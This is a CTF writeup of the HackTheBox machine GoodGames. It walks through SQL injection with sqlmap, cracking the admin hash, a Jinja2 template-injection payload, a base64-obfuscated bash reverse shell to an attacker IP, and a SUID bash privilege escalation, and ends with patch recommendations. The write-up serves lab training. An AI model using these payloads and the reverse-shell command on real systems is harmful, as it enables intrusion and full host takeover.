Skip to main content
  1. writeup-ctf/

Writeup - GoodGames (HTB)

·825 words·4 mins·
d3vyce
Author
d3vyce
Cybersecurity, Devops, Infrastructure
Table of Contents

This is a writeup for the GoodGames machine from the HackTheBox site.

Enumeration
#

First, let’s start with a scan of our target with the following command:

nmap -sV 10.10.11.130

One TCP ports are discovered:

  • 80/tcp : HTTP web server (Apache 2.4.51)

Exploit
#

I start by listing the pages accessible through the website.

There are a number of pages, but 3 are pages with a form: login, forgot-password and signup. With a form we can potentially make SQL injection.

First I get a login request via Burp.

POST /login HTTP/1.1
Host: 10.10.11.130
Content-Length: 36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.130
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.130/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

email=test%40test.fr&password=azerty

I save this request in a “request.txt” file, then I run SQLmap to determine if this form is injection sensitive.

sqlmap -r request.txt

This form is usable, so I use the following command to list the accessible databases:

sqlmap -r request.txt --dbs
[...]
[12:51:20] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
[...]

I select the database “main” and start to list the different tables.

sqlmap -r request.txt -D main --dump
[...]
[12:53:58] [INFO] retrieved: blog
[12:54:30] [INFO] retrieved: blog_comments
[12:55:51] [INFO] retrieved: user
[12:56:20] [INFO] fetching columns for table 'blog' in database 'main'
[12:56:20] [INFO] retrieved: 15
[...]

I select the “user” table and run the following command to dump the data.

sqlmap -r request.txt -D main -T user --dump
[...]
[email protected]
[13:00:19] [INFO] retrieved: 1
[13:00:23] [INFO] retrieved: admin
[13:00:42] [INFO] retrieved: 2b22337f218b2d82dfc3b6f77e7cb8ec
[...]

Ok, we have the credentials of the admin user! We just need to get the password hash and run john to decrypt it.

John quickly finds the password: superadministrator.

I can now connect and access the admin panel. This panel is accessible via a subdomain, so I add it in my /etc/hosts file:

10.10.11.130	internal-administration.goodgames.htb

I fill in the credentials I found before and connect to the admin panel of the site.

In this panel I find a tab where I can customize the account nickname. Let’s determine the PHP template used by the site. For that I use the following github:

[PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

Python
56905
13990

Quickly I determine that the site uses the Jinja2 Template. I will be able to use an injection to execute commands on the server. For that I use the following injection:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

To make a shell reversel it’s a bit more complex, I didn’t manage to put just the command, so I use the base64 method to avoid that the command is modified during the process.

To do this I encode my reverse in base64 then I use the following injection to transmit it on the remote server:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzEyMzQgMD4mMQo=" | base64 -d | bash').read() }}

I now have a root shell (I think we are in a docker) and I can get the first flag.

root@3a453ab39d3d:/home/augustus# ls
user.txt
root@3a453ab39d3d:/home/augustus# cat user.txt
dec6a8b304bbe0fdfe4b8c46a3562605

Privilege escalation
#

As said before, I think we are in a docker. What I can confirm after some research.

After checking my IP, we can safely say that the IP of the host is 172.19.0.1.

So I do an nmap scan on the host IP:

The SSH port is open! We can now try to connect to the user augustus to exit the docker.

I first upgrade my reverse shell with the following command (this is very important for the following).

python -c 'import pty; pty.spawn("/bin/bash")'

I am doing an SSH on the user augustus using the password previously used:

I am now in the host machine, interesting thing I notice the nmap file I uploaded in the docker is present in the folder of augustus. But what is even more interesting is that he has kept his root privilege!

What I will be able to do is to make a copy of bash. Then in the docker add the execution rights. Then go back to the host and create a bash root.

To do this, I first copy the bash file from the host machine into the augustus folder:

cp /bin/bash ./

Then I go back to the docker and add the following rights:

chown root:root bash
chmod 4777 bash

Finally I go back to the host and run a bash root:

augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt
cat /root/root.txt
702332b6faa16ef1b87c5ae52a2ef3df

I now have control of the host machine and can recover the last flag.

Recommendations
#

To patch this host I think it would be necessary to perform a number of actions:

  • Patch forms to avoid sql injection
  • Use strong passwords
  • Do not use the same password for two different services
  • Do not launch dockers with root privilege

Related

Writeup - Devzat (HTB)
·892 words·5 mins
Writeup - Oh My WebServer (THM)
·586 words·3 mins
How to host multiple services on one public IP ?
·1285 words·7 mins
DDNS Docker Network Reverse Proxy